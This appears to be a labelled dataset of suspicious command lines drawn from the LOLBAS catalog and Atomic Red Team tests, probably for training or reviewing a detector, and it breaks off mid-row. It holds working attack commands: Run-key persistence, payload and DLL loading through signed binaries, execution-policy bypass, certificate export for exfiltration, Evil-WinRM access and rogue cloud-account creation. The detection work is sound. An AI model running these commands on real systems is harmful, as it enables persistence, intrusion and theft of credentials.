428a29512f92ca59272becef,"Nvudisp.exe Copy test.txt,test-2.txt","Nvudisp.exe Copy test.txt,test-2.txt",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvudisp.yml,Nvudisp.exe,,"[""""]",,0.85,False,Copy fila A to file B.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d57aad8f06d1ad95740931c9,Nvudisp.exe SetReg HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\malware=malware.exe,Nvudisp.exe SetReg HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\malware=malware.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvudisp.yml,Nvudisp.exe,,"[""""]",,0.85,False,Add/Edit a Registry key value.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
25db484e62592cecc6ca144c,"Nvudisp.exe CreateShortcut test.lnk,""Test"",""c:\windows\system32\calc.exe\"","""",""c:\windows\system32\""","Nvudisp.exe CreateShortcut test.lnk,""Test"",""c:\windows\system32\calc.exe\"","""",""c:\windows\system32\""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvudisp.yml,Nvudisp.exe,,"[""""]",,0.85,False,Create shortcut file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d4b7c7879de7fdfde488f0e1,Nvudisp.exe KillApp calculator.exe,Nvudisp.exe KillApp calculator.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvudisp.yml,Nvudisp.exe,,"[""""]",,0.85,False,Kill a process.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
457f34c335180d452683e9c2,Nvudisp.exe Run foo,Nvudisp.exe Run foo,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvudisp.yml,Nvudisp.exe,,"[""""]",,0.85,False,Run process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1717ff0b2fb2b8a3e7f56513,VBoxDrvInst.exe driver executeinf c:\temp\calc.inf,VBoxDrvInst.exe driver executeinf c:\temp\calc.inf,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/VBoxDrvInst.yml,VBoxDrvInst.exe,,"[""""]",,0.85,False,Set registry key-value for persistance via INF file call through VBoxDrvInst.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82d16ebaeb0c531224434553,"Update.exe --processStart payload.exe --process-start-args ""whatever args""","Update.exe --processStart payload.exe --process-start-args ""whatever args""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Upload.yml,Update.exe,Execute,"[""T1218""]",Windows 7 and up with Whatsapp installed,0.85,False,"Copy your payload into ""%localappdata%\Whatsapp\app-[version]\"". Then run the command. Update.exe will execute the file you copied.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6f13cc90beac1698e02bfa52,nvuhda6.exe System calc.exe,nvuhda6.exe System calc.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvuhda6.yml,Nvuhda6.exe,,"[""""]",,0.85,False,Execute calc.exe as a subprocess.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c1fce966366f2e4a4efb801a,"nvuhda6.exe Copy test.txt,test-2.txt","nvuhda6.exe Copy test.txt,test-2.txt",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvuhda6.yml,Nvuhda6.exe,,"[""""]",,0.85,False,Copy fila A to file B.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5319ff1955e6ab219e6b0149,nvuhda6.exe SetReg HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\malware=malware.exe,nvuhda6.exe SetReg HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\malware=malware.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvuhda6.yml,Nvuhda6.exe,,"[""""]",,0.85,False,Add/Edit a Registry key value,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f95a13cac625b0969b5ffa29,"nvuhda6.exe CreateShortcut test.lnk,""Test"",""C:\Windows\System32\calc.exe"","""",""C:\Windows\System32\""","nvuhda6.exe CreateShortcut test.lnk,""Test"",""C:\Windows\System32\calc.exe"","""",""C:\Windows\System32\""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvuhda6.yml,Nvuhda6.exe,,"[""""]",,0.85,False,Create shortcut file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e2421d5f387116813a685a12,nvuhda6.exe KillApp calc.exe,nvuhda6.exe KillApp calc.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvuhda6.yml,Nvuhda6.exe,,"[""""]",,0.85,False,Kill a process.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d5d005a6becb1d25e4f32939,nvuhda6.exe Run foo,nvuhda6.exe Run foo,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvuhda6.yml,Nvuhda6.exe,,"[""""]",,0.85,False,Run process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b2627dff0915de941799b4c,"""C:\Program Files\Avast Software\Avast\aswrundll"" ""C:\Users\Public\Libraries\tempsys\module.dll""","""C:\Program Files\Avast Software\Avast\aswrundll"" ""C:\Users\Public\Libraries\tempsys\module.dll""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/aswrundll.yml,aswrundll.exe,Execute,"[""""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Load and execute modules using aswrundll,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
72b977426261315e6d1162a9,"Notes.exe ""=N:\Lotus\Notes\Data\notes.ini"" -Command if((Get-ExecutionPolicy) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }","Notes.exe ""=N:\Lotus\Notes\Data\notes.ini"" -Command if((Get-ExecutionPolicy) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Notes.yml,Notes.exe,,"[""""]",,0.85,False,Run PowerShell via LotusNotes.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8ea237478f6936be40e4d6f1,"Usbinst.exe InstallHinfSection ""DefaultInstall 128 c:\temp\calc.inf""","Usbinst.exe InstallHinfSection ""DefaultInstall 128 c:\temp\calc.inf""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Usbinst.yml,Usbinst.exe,,"[""""]",,0.85,False,Execute calc.exe through DefaultInstall Section Directive in INF file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6a1f4e97ce4a41472df827b5,"NLNOTES.EXE /authenticate ""=N:\Lotus\Notes\Data\notes.ini"" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }","NLNOTES.EXE /authenticate ""=N:\Lotus\Notes\Data\notes.ini"" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nlnotes.yml,Nlnotes.exe,,"[""""]",,0.85,False,Run PowerShell via LotusNotes.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0ba56fc363469c49fb0e5656,Gpup.exe -w whatever -e c:\Windows\System32\calc.exe,Gpup.exe -w whatever -e c:\Windows\System32\calc.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Gpup.yml,Gpup.exe,,"[""""]",,0.85,False,Execute another command through gpup.exe (Notepad++ binary).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
265b96297520c3d331342ad3,cscript testxlst.js C:\test\test.xml c:\test\test.xls c:\test\test.out,cscript testxlst.js C:\test\test.xml c:\test\test.xls c:\test\test.out,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherScripts/Testxlst.yml,testxlst.js,Execution,"[""T1064""]",Windows,0.85,False,Test Jscript included in Python tool to perform XSL transform (for payload execution).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36025b1886dc9fffeb2d8a2c,wscript testxlst.js C:\test\test.xml c:\test\test.xls c:\test\test.out,wscript testxlst.js C:\test\test.xml c:\test\test.xls c:\test\test.out,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherScripts/Testxlst.yml,testxlst.js,Execution,"[""T1064""]",Windows,0.85,False,Test Jscript included in Python tool to perform XSL transform (for payload execution).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c50f9f68983b7456f97d11c0,netsh.exe trace start capture=yes filemode=append persistent=yes tracefile=\\server\share\file.etl IPv4.Address=!(<IPofRemoteFileShare>) netsh.exe trace show status,netsh.exe trace start capture=yes filemode=append persistent=yes tracefile=\\server\share\file.etl IPv4.Address=!(<IPofRemoteFileShare>) netsh.exe trace show status,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Netsh.yml,Netsh.exe,,"[""""]",,0.85,False,Capture network traffic on remote file share.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0c0aa45f64932db83a6321b5,netsh.exe add helper C:\Path\file.dll,netsh.exe add helper C:\Path\file.dll,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Netsh.yml,Netsh.exe,,"[""""]",,0.85,False,Load (execute) NetSh.exe helper DLL file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
727f90fa71c50a73ff674e1a,netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1,netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Netsh.yml,Netsh.exe,,"[""""]",,0.85,False,Forward traffic from the listening address and proxy to a remote system.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
375a464c3cc563b72d265c85,OpenWith.exe /c C:\test.hta,OpenWith.exe /c C:\test.hta,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Openwith.yml,Openwith.exe,,"[""""]",,0.85,False,Opens the target file with the default application.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bd7e4bfdcf43e51530b56a87,OpenWith.exe /c C:\testing.msi,OpenWith.exe /c C:\testing.msi,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Openwith.yml,Openwith.exe,,"[""""]",,0.85,False,Opens the target file with the default application.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
665cfdb7bed7792810e858fe,nltest.exe /SERVER:192.168.1.10 /QUERY,nltest.exe /SERVER:192.168.1.10 /QUERY,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Nltest.yml,Nltest.exe,,"[""""]",,0.85,False,,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4040413aac1c28ff8ad6b7cf,powershell -ep bypass - < c:\temp:ttt,powershell -ep bypass - < c:\temp:ttt,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Powershell.yml,Powershell.exe,,"[""""]",,0.85,False,Execute the encoded PowerShell command stored in an Alternate Data Stream (ADS).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
10dd5387205c23242e0c767f,explorer.exe calc.exe,explorer.exe calc.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Explorer.yml,Explorer.exe,,"[""""]",,0.85,False,Executes calc.exe as a subprocess of explorer.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
33b229f9c464a027f086c354,psr.exe /start /gui 0 /output c:\users\user\out.zip,psr.exe /start /gui 0 /output c:\users\user\out.zip,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Psr.yml,Psr.exe,,"[""""]",,0.85,False,Capture screenshots of the desktop and save them in the target .ZIP file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1bdef2c050e466d650b1ec1f,psr.exe /start /maxsc 100 /gui 0 /output c:\users\user\out.zip,psr.exe /start /maxsc 100 /gui 0 /output c:\users\user\out.zip,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Psr.yml,Psr.exe,,"[""""]",,0.85,False,Capture a maximum of 100 screenshots of the desktop and save them in the target .ZIP file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1e9d7139a330a487885d7cc3,psr.exe /stop,psr.exe /stop,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Psr.yml,Psr.exe,,"[""""]",,0.85,False,Stop the Problem Step Recorder.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
491740792108bd66704da98b,Robocopy.exe C:\SourceFolder C:\DestFolder,Robocopy.exe C:\SourceFolder C:\DestFolder,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Robocopy.yml,Robocopy.exe,,"[""""]",,0.85,False,Copy the entire contents of the SourceFolder to the DestFolder.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d53dff7cd97e3c2c09687170,Robocopy.exe \\SERVER\SourceFolder C:\DestFolder,Robocopy.exe \\SERVER\SourceFolder C:\DestFolder,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OSBinaries/Robocopy.yml,Robocopy.exe,,"[""""]",,0.85,False,Copy the entire contents of the SourceFolder to the DestFolder.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb13f4a03f41e5e709f006cb,winword.exe /l dllfile.dll,winword.exe /l dllfile.dll,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherMSBinaries/Winword.yml,winword.exe,Execute,"[""T1218""]",Windows,0.85,False,Launch DLL payload.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36a7035d50f525f9fdcb3ab0,"$archive=""$env:PUBLIC\T1649\atomic_certs.zip"" $exfilpath=""$env:PUBLIC\T1649\certs"" Add-Type -assembly ""system.io.compression.filesystem"" Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore mkdir $exfilpath | Out-Null foreach ($cert in (gci Cert:\CurrentUser\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\$($cert.FriendlyName).cer} [io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)","$archive=""$env:PUBLIC\T1649\atomic_certs.zip"" $exfilpath=""$env:PUBLIC\T1649\certs"" Add-Type -assembly ""system.io.compression.filesystem"" Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore mkdir $exfilpath | Out-Null foreach ($cert in (gci Cert:\CurrentUser\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\$($cert.FriendlyName).cer} [io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1649/T1649.yaml,Staging Local Certificates via Export-Certificate,T1649,"[""T1649""]",windows,0.9,False,"Export all user certificates and add to a compressed archive.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c82a370a3cfeca071a3cf9a5,"$exfilpath=""$env:PUBLIC\T1649\certs"" Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore","$exfilpath=""$env:PUBLIC\T1649\certs"" Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1649/T1649.yaml,Staging Local Certificates via Export-Certificate,T1649,"[""T1649""]",windows,0.55,True,"Export all user certificates and add to a compressed archive.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d7b85ef83d272e02d1fce2f8,Enable-PSRemoting -Force,Enable-PSRemoting -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.006/T1021.006.yaml,Enable Windows Remote Management,T1021.006,"[""T1021.006""]",windows,0.9,False,"Powershell Enable WinRM

Upon successful execution, powershell will ""Enable-PSRemoting"" allowing for remote PS access.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4e5dfea12aea6810d8b72e66,Enable-PSRemoting -Force Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami},Enable-PSRemoting -Force Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.006/T1021.006.yaml,Remote Code Execution with PS Credentials Using Invoke-Command,T1021.006,"[""T1021.006""]",windows,0.9,False,"Simulate lateral movement with PowerShell Remoting on the local host. 
Upon successful execution, PowerShell will execute `whoami` using `Invoke-Command`, targeting the 
local machine as remote target.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e8616659a26fb91aa3754dfc,Disable-PSRemoting -Force,Disable-PSRemoting -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.006/T1021.006.yaml,Remote Code Execution with PS Credentials Using Invoke-Command,T1021.006,"[""T1021.006""]",windows,0.55,True,"Simulate lateral movement with PowerShell Remoting on the local host. 
Upon successful execution, PowerShell will execute `whoami` using `Invoke-Command`, targeting the 
local machine as remote target.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8aadccef37c493405ae5c1d,evil-winrm -i #{destination_address} -u #{user_name} -p #{password},evil-winrm -i #{destination_address} -u #{user_name} -p #{password},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.006/T1021.006.yaml,WinRM Access with Evil-WinRM,T1021.006,"[""T1021.006""]",windows,0.9,False,An adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43653a1e00e8b4869a03e5c5,aws iam create-user --user-name #{username},aws iam create-user --user-name #{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.003/T1136.003.yaml,AWS - Create a new IAM user,T1136.003,"[""T1136.003""]",iaas:aws,0.9,False,"Creates a new IAM user in AWS. Upon successful creation, a new user will be created. Adversaries create new IAM users so that their malicious activity do not interupt the normal functions of the compromised users and can remain undetected for a long time
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ba0981134d2a189f242e5c63,aws iam delete-user --user-name #{username},aws iam delete-user --user-name #{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.003/T1136.003.yaml,AWS - Create a new IAM user,T1136.003,"[""T1136.003""]",iaas:aws,0.55,True,"Creates a new IAM user in AWS. Upon successful creation, a new user will be created. Adversaries create new IAM users so that their malicious activity do not interupt the normal functions of the compromised users and can remain undetected for a long time
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a72ec7eed6f5d197d323f477,"Connect-AzureAD $userprincipalname = ""#{userprincipalname}"" $username = ""#{username}"" $password = ""#{password}"" $PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile $PasswordProfile.Password = $password New-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username","Connect-AzureAD $userprincipalname = ""#{userprincipalname}"" $username = ""#{username}"" $password = ""#{password}"" $PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile $PasswordProfile.Password = $password New-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.003/T1136.003.yaml,Azure AD - Create a new user,T1136.003,"[""T1136.003""]",azure-ad,0.9,False,"Creates a new user in Azure AD. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f393dec7fe0c53c6f5ada96c,"Remove-AzureADUser -ObjectId ""#{userprincipalname}""","Remove-AzureADUser -ObjectId ""#{userprincipalname}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.003/T1136.003.yaml,Azure AD - Create a new user,T1136.003,"[""T1136.003""]",azure-ad,0.55,True,"Creates a new user in Azure AD. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9180dd5b7ae9195702eedcfe,"az login $userprincipalname = ""#{userprincipalname}"" $username = ""#{username}"" $password = ""#{password}"" az ad user create --display-name $username --password $password --user-principal-name $userprincipalname az ad user list --filter ""displayname eq 'atomicredteam'""","az login $userprincipalname = ""#{userprincipalname}"" $username = ""#{username}"" $password = ""#{password}"" az ad user create --display-name $username --password $password --user-principal-name $userprincipalname az ad user list --filter ""displayname eq 'atomicredteam'""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.003/T1136.003.yaml,Azure AD - Create a new user via Azure CLI,T1136.003,"[""T1136.003""]",azure-ad,0.9,False,"Creates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
718353bf9245864cc95c9d44,"az ad user delete --id ""#{userprincipalname}""","az ad user delete --id ""#{userprincipalname}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.003/T1136.003.yaml,Azure AD - Create a new user via Azure CLI,T1136.003,"[""T1136.003""]",azure-ad,0.55,True,"Creates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7ab75b9a168aef83b9210ebc,"& ""PathToAtomicsFolder\T1090.003\src\Psiphon.bat""","& ""PathToAtomicsFolder\T1090.003\src\Psiphon.bat""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.003/T1090.003.yaml,Psiphon,T1090.003,"[""T1090.003""]",windows,0.9,False,"Psiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you
with uncensored access to Internet.
This process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands.
More information can be found about Psiphon using the following urls
http://s3.amazonaws.com/0ubz-2q11-gi9y/en.html
https://psiphon.ca/faq.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
22c156b23be6a9613094c747,"$Proxy = Get-Content $env:Temp\proxy-backup.txt -ErrorAction Ignore if($null -ne $Proxy) {Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -Name ""ProxyServer"" -Value $Proxy}","$Proxy = Get-Content $env:Temp\proxy-backup.txt -ErrorAction Ignore if($null -ne $Proxy) {Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -Name ""ProxyServer"" -Value $Proxy}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.003/T1090.003.yaml,Psiphon,T1090.003,"[""T1090.003""]",windows,0.55,True,"Psiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you
with uncensored access to Internet.
This process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands.
More information can be found about Psiphon using the following urls
http://s3.amazonaws.com/0ubz-2q11-gi9y/en.html
https://psiphon.ca/faq.html
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8f6ea4f6d1c374635cab726f,"invoke-expression 'cmd /c start powershell -Command {cmd /c ""#{TorExe}""}' sleep -s 60 stop-process -name ""tor"" | out-null","invoke-expression 'cmd /c start powershell -Command {cmd /c ""#{TorExe}""}' sleep -s 60 stop-process -name ""tor"" | out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.003/T1090.003.yaml,Tor Proxy Usage - Windows,T1090.003,"[""T1090.003""]",windows,0.9,False,"This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d39094653b4ae5202c1e2f98,"[ ""$(uname)"" = 'FreeBSD' ] && sysrc tor_enable=""YES"" && service tor start || sudo systemctl start tor","[ ""$(uname)"" = 'FreeBSD' ] && sysrc tor_enable=""YES"" && service tor start || sudo systemctl start tor",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.003/T1090.003.yaml,Tor Proxy Usage - Debian/Ubuntu/FreeBSD,T1090.003,"[""T1090.003""]",linux,0.9,False,"This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1e67a7d5cb67b97f7dbbb8c2,"[ ""$(uname)"" = 'FreeBSD' ] && service tor stop && sysrc -x tor_enable || sudo systemctl stop tor","[ ""$(uname)"" = 'FreeBSD' ] && service tor stop && sysrc -x tor_enable || sudo systemctl stop tor",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.003/T1090.003.yaml,Tor Proxy Usage - Debian/Ubuntu/FreeBSD,T1090.003,"[""T1090.003""]",linux,0.55,True,"This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4c74a676b3c1bc4c3a0bbb02,"osascript -e 'tell application ""Terminal"" to do script ""tor""'","osascript -e 'tell application ""Terminal"" to do script ""tor""'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.003/T1090.003.yaml,Tor Proxy Usage - MacOS,T1090.003,"[""T1090.003""]",macos,0.9,False,"This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0cc158fdb213f3b947fba683,killall tor > /dev/null 2>&1,killall tor > /dev/null 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.003/T1090.003.yaml,Tor Proxy Usage - MacOS,T1090.003,"[""T1090.003""]",macos,0.55,True,"This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched. 
